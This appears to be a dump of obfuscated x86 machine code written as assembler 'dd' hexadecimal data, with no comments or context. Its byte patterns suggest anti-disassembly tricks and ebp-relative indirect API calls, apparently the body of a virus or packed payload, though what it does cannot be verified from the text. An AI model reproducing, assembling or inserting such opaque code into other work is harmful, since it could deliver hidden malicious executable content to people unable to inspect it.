		dd 8005F921h, 0FC416BBDh, 840F0005h, 0BFh, 2889B529h, 0C18105F9h
		dd 2CDFD65Eh, 414D858Dh, 0BD8905FCh, 5F91241h, 0B1D28050h
		dd 0E960016Ah, 7, 692F6F36h, 89ABE4F7h,	0F914C1BDh, 6A6105h
		dd 0B5B58960h, 0BE05F900h, 3C4506C5h, 0FF006A61h, 0F92B1595h
		dd 12E905h, 299D0000h, 7D573ABDh, 1CDCDDEFh, 22B05C1Bh
		dd 0D4106CA5h, 0E118589h, 8B5205F9h, 0F90019BDh, 0FF6A5A05h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 34C35545h
		dd 8E8F8DEh, 67000000h,	18CA6C37h, 8B0C7097h, 0B5FF5FF8h
		dd 5F90E11h, 6E7CBA66h,	91195FFh, 6E805F9h, 5000000h, 628A6FABh
		dd 0FE42BAEEh, 8B59143Ah, 0D1BD33C0h, 8305F927h, 0F931C9BDh
		dd 9750005h, 12B5BD83h,	740005F9h, 8B535019h, 7D1B8C0h
		dd 85890000h, 5F928E9h,	0F3849D8Dh, 0D3FF05FBh,	0BD83585Bh
		dd 5F912B5h, 50177400h,	7D1B853h, 85890000h, 5F928E9h
		dd 0F0739D8Dh, 0D3FF05FBh, 31F8585Bh, 0F924ADB5h, 0E9C08B05h
		dd 9, 8EAC4235h, 564C3747h, 9830F7Dh, 60000000h, 259D89F8h
		dd 6105F921h, 189985C6h, 664705F9h, 3DF1EF81h, 0C8F7C168h
		dd 0ADB58993h, 0FF05F912h, 0F92719B5h, 89C88B05h, 0F90F6D9Dh
		dd 6A858D05h, 6605F93Ah, 0D0FFF98Bh, 97DA8166h,	0F88B5024h
		dd 458E858Dh, 0F6005FCh, 82h, 0F78B6600h, 9400C761h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 6685C353h, 0DE8h,	644B7F00h, 0A08EDCDh, 0F80EB566h
		dd 0BF664770h, 585A46ACh, 931B589h
		dd 0B58D05F9h, 5FC458Eh, 3840Fh, 0BF0F0000h, 0F18156D7h
		dd 0AB2FD37h, 0B70FD0FFh, 8E858DCEh, 8B05FC45h,	0F904C9BDh
		dd 4788305h, 18850F06h,	0F000000h, 588h, 0EC55B900h, 85C75084h
		dd 5FC4622h, 1,	83F8CB8Ah, 0F90AE1BDh, 850F0005h, 58h
		dd 34458D0Bh, 0BD8305F9h, 5FC4622h, 45850F00h, 33000000h
		dd 0F924B195h, 81BD8305h, 5F915h, 32840Fh, 0C7F80000h
		dd 0F90C6985h, 5, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0F2D38964h, 9D896D66h
		dd 5F90555h, 6ADB8C66h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 8669C350h, 0FAA690E5h
		dd 0E869CD28h, 5, 97926708h, 0C58D8B8Ah, 5F05F90Dh, 0F04C3F6h
		dd 62A84h, 5950F900h, 178585C7h, 5F9h, 14E90000h, 0F7000000h
		dd 2E29EC5Ah, 7D7F2AB7h, 0F0310587h, 54FC81C8h,	8008FA86h
		dd 0FC4178BDh, 850F0005h, 6, 28A5BD23h,	85C605F9h, 5F91899h
		dd 50006A47h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0B359090Ch, 6E8B7196h, 0BE9h, 8B9DC700h
		dd 2CD0DAAAh, 0F0634425h, 0E45B8668h, 38E0FE3h,	0F000000h
		dd 0B5FFFFB7h, 5F92719h, 15890Fh, 10E90000h, 44000000h
		dd 9A38EBC9h, 4A072A2Fh, 5CCD6D93h, 8DBC68A2h, 0F93A6A85h
		dd 0FFFBB105h, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 7E28A566h, 1046822h, 958B0000h
		dd 5F91F81h, 1E018D8Bh,	9D8D05F9h, 5F90E3Dh, 11558D01h
		dd 12E805F9h, 25000000h, 36B94FABh, 2A40C054h, 108923D2h
		dd 63B0236Bh, 535AF93Ch, 12E9h,	24283B00h, 5C7405F0h, 97A2655Bh
		dd 0E62CBBDAh, 0FF3B0F65h, 5D8D8BD0h, 6605F911h, 0D943F781h
		dd 0E3D858Dh, 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 9E604FC3h, 1DE7A2D5h, 1DF61EBFh
		dd 0BDBD8B5Bh, 5005F927h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 38C35545h, 71A32C26h,	0F59E76Eh, 858DF8BFh
		dd 5FC412Ah, 0DE8h, 66C22900h, 8878A87Dh, 55CE827Eh, 2BB1C781h
		dd 858D5059h, 5FC37FDh,	1A899529h, 0F5005F9h, 280h, 0FFF48A00h
		dd 0F90DCD95h, 0CA816605h, 0C48322EFh, 52BF660Ch, 68006AAEh
		dd 80h,	6A036Ah, 68006Ah, 8D800000h, 0FC37FD85h, 95FF5005h
		dd 5F925C5h, 410D8589h,	85C605FCh, 5F91899h, 5E876847h
		dd 0B5FFC7B1h, 5F92719h, 3A6A858Dh, 0D0FF05F9h,	0B5FF006Ah
		dd 5FC410Dh, 6657D0FFh,	3E41EA81h, 0D6B70F5Fh, 37D03Dh
		dd 22830F00h, 0BA000000h, 691511D5h, 410DB5FFh,	0BD8B05FCh
		dd 5F910DDh, 21DD95FFh,	958B05F9h, 5F91F8Dh, 0CDE9h, 0DB5FF00h
		dd 6605FC41h, 8410EA81h, 21DD95FFh, 6A05F9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F93EAC3h
		dd 0F89h, 9E800h, 83EC0000h, 22D84564h,	5AF8133Dh, 4D71BF66h
		dd 6A006Ah, 6E9h, 7AD03800h, 6AA18243h,	0E6DCBF00h, 6A28F8h
		dd 6A9EB5h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 14h,	94C35040h, 800F006Ah, 5, 584B41BFh, 11858D2Bh
		dd 8B05FC41h, 0F929F1BDh, 50C88B05h, 4ADBD89h, 95FF05F9h
		dd 5F925C5h, 1AE9BD8Bh,	0F88305F9h, 0A8850FFFh,	0E9000001h
		dd 12h,	4652D2Ah, 3C7ABB08h, 0C05149ADh, 0E7433527h, 858DFA94h
		dd 5FBFC9Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	5FC35343h, 0BD898C08h, 5F92755h, 0BD8BD0FFh, 5F90461h
		dd 0BD0B006Ah, 5F90425h, 8D8B006Ah, 5F90175h, 128E0Fh
		dd 0DE90000h, 68000000h, 334C0292h, 548EFBE5h, 0D65E8858h
		dd 8D89006Ah, 5F918EDh,	958B006Ah, 5F90785h, 9D73BA60h
		dd 0B58B67A3h, 5F92695h, 6A006A61h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0D7D5C355h
		dd 5E5E00CCh, 8B668AACh, 80006AC8h, 858D0DDAh, 5FC4111h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 91C35141h
		dd 83F18156h, 5F02CEE5h, 8D896050h, 5F90FA5h, 14E8h, 0E5921D00h
		dd 0A5825F24h, 12ECB50Ch, 3CC75F8Fh, 0C2CC59E8h, 8F0FEBh
		dd 5A000000h, 0C595FF61h, 8B05F925h, 0F901158Dh, 0FFF88305h
		dd 85850Fh, 0B4600000h,	0B5BD8B2Bh, 6105F905h, 3B19B58Dh
		dd 8B0F05FCh, 6, 18C9BD8Bh, 858D05F9h, 5FBE74Eh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 90C35141h, 0AB4B84D4h
		dd 8B9797C5h, 66D0FFF9h, 6AFE8Bh, 1599BD23h, 95FF05F9h
		dd 5F90769h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	7C35141h, 0A50F6F16h, 958BEBB7h, 5F91485h, 89D18B66h
		dd 0FC410D85h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0ED7F1A41h, 9B03F0F2h
		dd 860F9BDBh, 4, 7183BA66h, 13E8h, 0A78BA00h, 5CC20F76h
		dd 54491669h, 382E90FDh, 0F1C1FFC7h, 59D08B66h,	858D006Ah
		dd 5FC4105h, 50D2CA80h,	0A8F0Fh, 8B600000h, 0F92849BDh
		dd 61616005h, 8C0F046Ah, 3, 8DD7B70Fh, 0F9056985h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 88696636h, 6A50C9B9h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 8AECC356h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 27168FC3h, 0E9668A3Bh, 10h, 0BCA62A4Ch, 1F546308h, 5601845Ah
		dd 7F269DD8h, 840F006Ah, 19h, 14E9h, 0C95BD000h, 0DB0A6730h
		dd 895A02C8h, 9BD9EF39h, 0AD790CA9h, 66016AA4h,	0C845C981h
		dd 410DB5FFh, 8B6005FCh, 8E8CAh, 2E990000h, 0EC8A99E7h
		dd 615ACD79h, 276D95FFh, 6A05F9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0B282BAC3h, 423107F7h
		dd 76E93550h, 6A00001Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 8205C356h, 84663BC3h
		dd 8B44748Dh, 1820FC0h,	0F9000000h, 31C9BD83h, 750005F9h
		dd 0B5BD8309h, 5F912h, 53501974h, 0D2B8C08Bh, 89000007h
		dd 0F928E985h, 849D8D05h, 0FF05FBF3h, 83585BD3h, 0F912B5BDh
		dd 17740005h, 0D2B85350h, 89000007h, 0F928E985h, 739D8D05h
		dd 0FF05FBF0h, 0E8585BD3h, 7, 6B91DB79h, 0E85C5392h, 12h
		dd 32E518A8h, 840EEA2h,	89412687h, 3846ABB6h, 0A1BA582Fh
		dd 59201EDDh, 898D8B5Ah, 6A05F912h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 8D6EC351h
		dd 8D8B3A46h, 5F91125h,	10E9C08Bh, 99000000h, 897D61A6h
		dd 613E81FAh, 0B2802725h, 66432EFDh, 85C7F88Bh,	5F91785h
		dd 1, 0B850Fh, 6E90000h, 23000000h, 0C29E97C6h,	41852995h
		dd 6805F901h
		dd 0CEE4E7B8h, 0FC5B5FFh, 858D05F9h, 5F93A6Ah, 8589D0FFh
		dd 5F9294Dh, 4369858Dh,	8D5005FCh, 0FC462685h, 1685005h
		dd 0FF800000h, 0F9294D95h, 75C00B05h, 0A585C70Ah, 105F927h
		dd 68000000h, 0C005DBD4h, 0FC5B5FFh, 858D05F9h,	5F93A6Ah
		dd 8589D0FFh, 5F92AEDh,	35B6858Dh, 0FF5005FCh, 0F92719B5h
		dd 995FF05h, 0B05F915h,	8B0B74C0h, 69858DD8h, 5005FC45h
		dd 858DD3FFh, 5FC4569h,	9388366h, 85C70A75h, 5F92B51h
		dd 1, 17195FFh,	0FF2505F9h, 83000000h, 0A7305F8h, 257185C7h
		dd 105F9h, 0E7810000h, 46653CDEh, 8E8h,	87849000h, 623F18E2h
		dd 0A1958991h, 5A05F927h, 4178BD80h, 0F0005FCh,	3D84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0B6932555h, 0F83B7CDh, 686h, 38E78100h
		dd 830E1D99h, 0FC4622BDh, 840F0005h, 32h, 5AE995B6h, 6A00001Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 4685C356h, 0C03821E2h, 5D704EC4h,	0F3B96652h
		dd 0BD835AA2h, 5F92B51h, 0CE850F00h, 80000000h,	858D83C2h
		dd 5FC4142h, 1219BD8Bh,	6A5005F9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 9A50C356h
		dd 1B635D57h, 7BBA5F35h, 6A58EFE7h, 51BF6601h, 1006A41h
		dd 0F92BC19Dh, 0E8006A05h, 13h,	0B8F40002h, 3DBA858Fh
		dd 0F024283Bh, 5B5C7405h, 6097A265h, 8BF8E580h,	0FF5F61F1h
		dd 0F92B1595h, 899CB605h, 0FC416C85h, 28D0F05h,	0B6000000h
		dd 0E9FF6AC6h, 12h, 0C6E4244Ch,	7DD0B112h, 0CE43E6E2h
		dd 0B3EDE664h, 0B5FFDA6Ah, 5FC416Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0A3C35141h,	0F7B958F1h, 0FF3212A8h
		dd 0F9091195h, 9D295205h, 5F91095h, 7D858D59h, 0F05FC35h
		dd 0DE9D3BFh, 2000000h,	0AD27E80Ah, 0AC7CD2h, 3B42CA7Eh
		dd 8BDEB150h, 0F921058Dh, 0AD95FF05h, 6A05F92Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0F7AEC351h, 3A247A13h, 0F8BA6648h, 0FC14BA5Ch, 858953F0h
		dd 5FC3607h, 28419D89h,	858D05F9h, 5FC358Ah, 0E67DF81h
		dd 60502BD1h, 1B2DBD8Bh, 9D8B05F9h, 5F90565h, 7B5FF61h
		dd 6605FC36h, 95FFD68Bh, 5F91509h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0AEC35343h,	0A37FB0CFh, 0D147189Ah
		dd 16458D8Bh, 8B5705F9h, 0F93471BDh, 85895F05h,	5F92EB9h
		dd 14E960h, 9BD90000h, 0AD790CA9h, 72D4D6A4h, 341821C2h
		dd 4CB6E04Eh, 8D610C07h, 0FC35F885h, 799D8905h,	5005F927h
		dd 10BD8D23h, 0B5FF05F9h, 5FC3607h, 2125BD29h, 95FF05F9h
		dd 5F91509h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	9BC35343h, 20F7F5C1h, 0DD29FD8Fh, 0EE926h, 24A80000h
		dd 684BD370h, 0DAAB4ACFh, 149FF7h, 361B8589h, 0FC5105FCh
		dd 0D7858D5Fh, 6A05FC35h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 3033C353h, 0CFFE21h
		dd 0B954957Bh, 65DB589h, 816605F9h, 66C06CE7h, 504F51BFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 12C35545h
		dd 697C6595h, 6DA8E781h, 0B5FF3C3Dh, 5FC3607h, 10E8h, 0A27D1000h
		dd 0DECB72FFh, 0BDC82CC5h, 89FD2F43h, 0DDBD037Ah, 5A05F926h
		dd 108D8D89h, 95FF05F9h, 5F91509h, 2E29958Bh, 858905F9h
		dd 5FC3613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	8DC35040h, 8B9B1099h, 0F9241595h, 0CA858D05h, 6605FC35h
		dd 506967BAh, 0E9FFBF0Fh, 12h, 7B6CF6FBh, 3E72B861h, 7085CDECh
		dd 7DF90D8Ah, 0B5FF2C51h, 5FC3607h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 24C35545h, 658EFA34h, 0AE89E967h
		dd 150995FFh, 8D8B05F9h, 5F913B1h, 34399D89h, 858905F9h
		dd 5FC3617h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0A8C35343h, 0E848D9AAh,	8, 0B03B65CAh, 2F2D74Bh
		dd 0DD18D8Bh, 8D5F05F9h, 0FC35E585h, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 9504987h, 0F929A195h
		dd 7B5FF05h, 6A05FC36h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0B514C351h,	995FFBFh
		dd 8B05F915h, 0F9331D95h, 11E805h, 57A40000h, 5B302DB7h
		dd 135865E9h, 195FC125h, 8B2C63A0h, 85895AD3h, 5F932E1h
		dd 858DCB8Bh, 5FC3599h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0FBC35545h, 8D25072Bh, 17619589h, 8B5005F9h
		dd 0F926858Dh, 7B5FF05h, 305FC36h, 0F9004195h, 0F18D8B05h
		dd 0FF05F913h, 0F9150995h, 0BE905h, 5C350000h, 8970DA4Ah
		dd 0FF3BDA17h, 0B8589D5h, 6005FC36h, 16698589h,	8D6105F9h
		dd 0FC35A885h, 50EC8A05h, 167DBD8Bh, 0B5FF05F9h, 5FC3607h
		dd 0AE860h, 57D50000h, 1DFEFF3Eh, 44830CEBh, 9E9h, 98FC2500h
		dd 0A66BA53Bh, 515E1053h, 6E9h,	0B0F41800h, 5E27222Ah
		dd 995FF61h, 6A05F915h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 51E0C350h, 85899219h
		dd 5FC360Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	8AC35747h, 0C9EEC281h, 60562384h, 1585BD89h, 952905F9h
		dd 5F9198Dh, 8D8B5A61h,	5F92B29h, 10468h, 11E900h, 9CEA0000h
		dd 5FF3A918h, 0FBBCE79Bh, 9D788C7h, 8920C422h, 0F9043D95h
		dd 9F858D05h, 905FC36h,	0F91E759Dh, 0E2815005h,	7BDE0941h
		dd 0A3858DF5h, 2305FC37h, 0F913A995h, 24B95005h, 0FF61F713h
		dd 0F9225995h, 0C8B0F05h, 0F000000h, 686h, 618D8B00h, 8505F904h
		dd 0F850FC0h, 89000000h, 0F90DC98Dh, 85896005h,	5F9081Dh
		dd 0BD8061FCh, 5FC4178h, 0E850F00h, 80000000h, 0A2E97CC6h
		dd 31000014h, 0F91F9D85h, 51BD8305h, 5F92Bh, 3C850Fh, 810F0000h
		dd 24h,	12E8h, 0B5407100h, 0F6F9B438h, 14BEFDC2h, 0DAC65C11h
		dd 0E9A5D704h, 7, 6F5DABC3h, 594538CCh,	4622BD83h, 0F0005FCh
		dd 3484h, 66CE8B00h, 858DCF8Bh,	5FC363Ch, 57EF8166h, 1443E962h
		dd 9D290000h, 5F91B2Dh,	20E9h, 0FE900h,	399A0000h, 392DF69Ah
		dd 0E486368Bh, 9FEE9B08h, 27858D45h, 8905FC36h,	0F90511BDh
		dd 6E95005h, 0A4000000h, 81AAA0CAh, 9F858D4Eh, 6605FC36h
		dd 0E292C781h, 51BD8350h, 5F92Bh, 23840Fh, 0BD8B0000h
		dd 5F9087Dh, 37C5858Dh,	8D2905FCh, 5F909ADh, 18E9h, 0F18D8B00h
		dd 8B05F917h, 0F90779BDh, 0AE858D05h, 8905FC37h, 0F9087D95h
		dd 0FA8B5005h, 37FD858Dh, 0BF0F05FCh, 8B6650C9h, 0CD95FFCAh
		dd 6A05F90Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 41BDC356h, 25E981F6h, 0E951A088h
		dd 0Ah,	0F05B2953h, 441EDF32h, 0C483A7E2h, 50006A10h, 3E8h
		dd 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 1325D5F3h
		dd 55F67260h, 8D29C08Bh, 5F928B9h, 31C9BD83h, 750005F9h
		dd 0B5BD8309h, 5F912h, 53501974h, 0D3B8C08Bh, 89000007h
		dd 0F928E985h, 849D8D05h, 0FF05FBF3h, 83585BD3h, 0F912B5BDh
		dd 17740005h, 0D3B85350h, 89000007h, 0F928E985h, 739D8D05h
		dd 0FF05FBF0h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8B17C352h, 0F904B995h
		dd 0D19D8905h, 8B05F914h, 80C7B6C0h, 0BD8199E1h, 5FC3627h
		dd 6165726Fh, 0C4840Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0FA0AA4C3h, 0B98D2984h
		dd 8D05F932h, 0FC369F85h, 858D5005h, 5FC37DCh, 0FD858D50h
		dd 5005FC37h, 0DCD95FFh, 0C48305F9h, 9985C60Ch,	4405F918h
		dd 0A3184F68h, 19B5FF96h, 8D05F927h, 0F93A6A85h, 8BD0FF05h
		dd 0FD858DD8h, 5005FC37h, 858DD3FFh, 5FC3627h, 9F858D50h
		dd 5005FC36h, 2B51BD83h, 740005F9h, 0C5858D08h,	0EB05FC37h
		dd 0AE858D06h, 5005FC37h, 37FD858Dh, 0FF5005FCh, 0F90DCD95h
		dd 10C48305h, 3405BD8Bh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0B682D6C3h, 95FFC83Eh
		dd 5F90171h, 2505BD01h,	0FF2505F9h, 89000000h, 0F919B985h
		dd 5F88305h, 40830Fh, 89570000h, 0F90B55BDh, 85C75A05h
		dd 5F92571h, 1,	2CA5B531h, 12E805F9h, 0F1000000h, 0A03EDEC2h
		dd 1DF5C71Eh, 0D84269D0h, 525D54E9h, 858D5FDEh,	5FC365Bh
		dd 4AD4BA66h, 5BE9h, 0BD83FC00h, 5F92B51h, 47840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 1B95C350h, 858DF977h, 5FC3686h, 11E9h, 3E54F400h
		dd 2D55C2DEh, 0C163A3D6h, 113154EDh, 0D18A6637h, 0BE9h
		dd 0A195BA00h, 858D01EAh, 5FC3668h, 369B8589h, 6A05FCh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0A579D4C3h, 81692AF1h, 434A9AD1h, 51BD8349h,	5F92Bh
		dd 29850Fh, 0B5310000h,	5F90D9Dh, 4622BD83h, 0F0005FCh
		dd 3F84h, 11E900h, 962A0000h, 1611AE1Ah, 1F990281h, 0EC01FA09h
		dd 0E9ED75BEh, 10DDh, 0E855006Ah, 3, 5DC35D20h,	4246C89h
		dd 4244481h, 1Ch, 15C35545h, 2EF20BD4h,	8A88C44Ah, 3B7E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0C6DFEA31h, 13458D89h, 8E905F9h,	9F000000h
		dd 77081090h, 8BD20A6Ch, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0F7D86039h, 0C9BD830Dh
		dd 5F931h, 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h
		dd 7D4h, 28E98589h, 9D8D05F9h, 5FBF384h, 585BD3FFh, 12B5BD83h
		dd 740005F9h, 0B8535017h, 7D4h,	28E98589h, 9D8D05F9h, 5FBF073h
		dd 585BD3FFh, 0F180C6B6h, 8BC08BFDh, 3F68D6h, 0F56000Fh
		dd 6A5FC8BFh, 6AB6B200h, 95FFF500h, 5F92EB9h, 0B3D18166h
		dd 0FC08586h, 685h, 0B1958B00h,	8905F914h, 0FC361F85h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0E9958B67h, 6A05F903h, 718D8B00h, 6A05F918h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 6A0B62h,	8E9h, 204E700h,	70CBFC3Eh, 0F006A10h
		dd 584h, 0EF816600h, 6A8CC7h, 5BD8956h,	5A05F928h, 37FD858Dh
		dd 840F05FCh, 3, 505AF851h, 5211B966h, 14E8h, 9F82D00h
		dd 2FB9C6DDh, 0D52D213h, 99FB4ED1h, 0B4E1BDC6h,	16A5A30h
		dd 26DD8D8Bh, 16A05F9h,	421950Bh, 16A05F9h, 0FF6831B1h
		dd 89000F01h, 0F9226595h, 51BD8305h, 5F92Bh, 1D840Fh, 958B0000h
		dd 5F92A51h, 367C858Dh,	8D8B05FCh, 5F919D1h, 12E9h, 0BDB58900h
		dd 8D05F926h, 0FC365285h, 0BD953305h, 5005F925h, 0F50CA8Bh
		dd 683h, 5952300h, 0FF05F919h, 0FC361FB5h, 0AD8D8905h
		dd 0FF05F914h, 0FC360B95h, 0BD235705h, 5F92EE5h, 0FC08559h
		dd 3685h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 72879432h, 10931FA3h, 6759D89h, 68E905F9h
		dd 53000000h, 21FDB529h, 895F05F9h, 0FC362385h,	56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 58B12AE9h, 8B39A23Fh, 0F9156DBDh, 23B5FF05h,	0F05FC36h
		dd 80h,	0D9958B00h, 0FF05F900h,	0F932E195h, 0D1B70F05h
		dd 850FC085h, 0Fh, 6E9h, 0C0A36D00h, 66312039h,	6AA42EBFh
		dd 0E7816610h, 0BD83CB74h, 5F92B51h, 2B840F00h,	66000000h
		dd 8D7D55BFh, 0FC367C85h, 0B70F5005h, 9D895AC9h, 5F92BD1h
		dd 21E9h, 0B5958900h, 0E905F929h, 6, 7B820D5Dh,	858D32AFh
		dd 5FC3652h, 4860Fh, 0BA660000h, 0BA50B412h, 25FABA8Ch
		dd 32F1958Bh, 0B5FF05F9h, 5FC361Fh, 1795FFF8h, 8505FC36h
		dd 8850FC0h, 0F000000h,	289h, 89D4B200h, 0FC362385h, 0CEBF0F05h
		dd 0EA6A45B9h, 81006A44h, 9195B7C7h, 80006A5Fh,	0B5FF0CC1h
		dd 5FC3623h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0C3C35747h, 0A0BA669Ah,	0F95FF94h, 8905FC36h, 0F9170185h
		dd 0F88B6605h, 850FC085h, 1Dh, 11E8h, 0A1D79000h, 82008065h
		dd 4D9AA630h, 0F37AE022h, 0BD2BB2E6h, 5F917ADh,	23B5FF59h
		dd 0E805FC36h, 0Ch, 0AC6320FBh,	0FDF5A719h, 4F628587h
		dd 0D5DBD29h, 0FF5905F9h, 0F932E195h, 0E1816605h, 0C0858062h
		dd 6850Fh, 958B0000h, 5F90631h,	9501006Ah, 5F90391h, 8068h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0D46CA93Bh, 65FCC0C0h, 0F88B663Dh, 0BD09036Ah
		dd 5F91295h, 6AFC006Ah,	58D8900h, 6805F92Eh, 0C0000000h
		dd 8D9D2360h, 6605F915h, 613963BBh, 369BB5FFh, 12E905FCh
		dd 0BE000000h, 59F5EB04h, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h
		dd 0C595FF81h, 6605F925h, 693CD281h, 58E0Fh, 0B7BF0000h
		dd 831A38BDh, 850FFFF8h, 5FDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 93C35343h, 6E242E04h, 0E86B0D1Ch
		dd 13h,	46FBDD1Ch, 3B4FDD08h, 0D31ED412h, 5425BC19h, 0F3C8A49h
		dd 188Bh, 12E800h, 0D0180000h, 0E86BD79Ah, 354A59BEh, 0CCED0968h
		dd 0C76190B6h, 0F605F5Fh, 0FF61C8BFh, 0FC410985h, 94BA6605h
		dd 9BD83CAh, 205FC41h, 4B5840Fh, 858D0000h, 5B243Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0D5C35646h, 0FF8BF08Ah
		dd 6F01CFE5h, 0BD8BD0FFh, 5F915D1h, 1E8E858Dh, 0D7BF005Bh
		dd 0FF5AB6A1h, 0C28166D0h, 0C08B87CDh, 0FC0EBA66h, 31C9BD83h
		dd 750005F9h, 0B5BD8309h, 5F912h, 53501974h, 0D8B8C08Bh
		dd 89000007h, 0F928E985h, 849D8D05h, 0FF05FBF3h, 83585BD3h
		dd 0F912B5BDh, 17740005h, 0D8B85350h, 89000007h
		dd 0F928E985h, 739D8D05h, 0FF05FBF0h, 52585BD3h, 8258589h
		dd 6A5A05F9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0E95DC350h, 0Bh, 0E619CDD8h, 11859448h
		dd 0BA19623h, 0F91E09BDh, 0F5C08B05h, 0F003F68h, 9E900h
		dd 0B2350000h, 3F9B1780h, 6AD5F50Fh, 0F9BD0100h, 6A05F90Ah
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0E31D8651h, 6E9h, 0D63E1C00h, 0FF46BFBEh
		dd 0F92EB995h, 0CB8B6605h, 8166C085h, 89F030D9h, 0FC361F85h
		dd 0E98D8B05h, 6805F92Bh, 0F01FFh, 0CE9h, 1681A200h, 0B6990B71h
		dd 3B1958BBh, 51BD8374h, 5F92Bh, 40840Fh, 9BB90000h, 8D0E5ECEh
		dd 0FC367C85h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0E9CAD6A2h, 58h, 0C850Fh
		dd 7E90000h, 2A000000h,	6D6719ECh, 858D04B9h, 5FC3652h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 56C35040h
		dd 0E8F74D61h, 0BD89958Ah, 5F908A5h, 13E9h, 3E133B00h
		dd 2742BE83h, 7302A3A7h, 656B5238h, 9444F8F2h, 0F70DBA50h
		dd 0B5FF1339h, 5FC361Fh, 0F4C28166h, 1795FFDAh,	6A05FC36h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
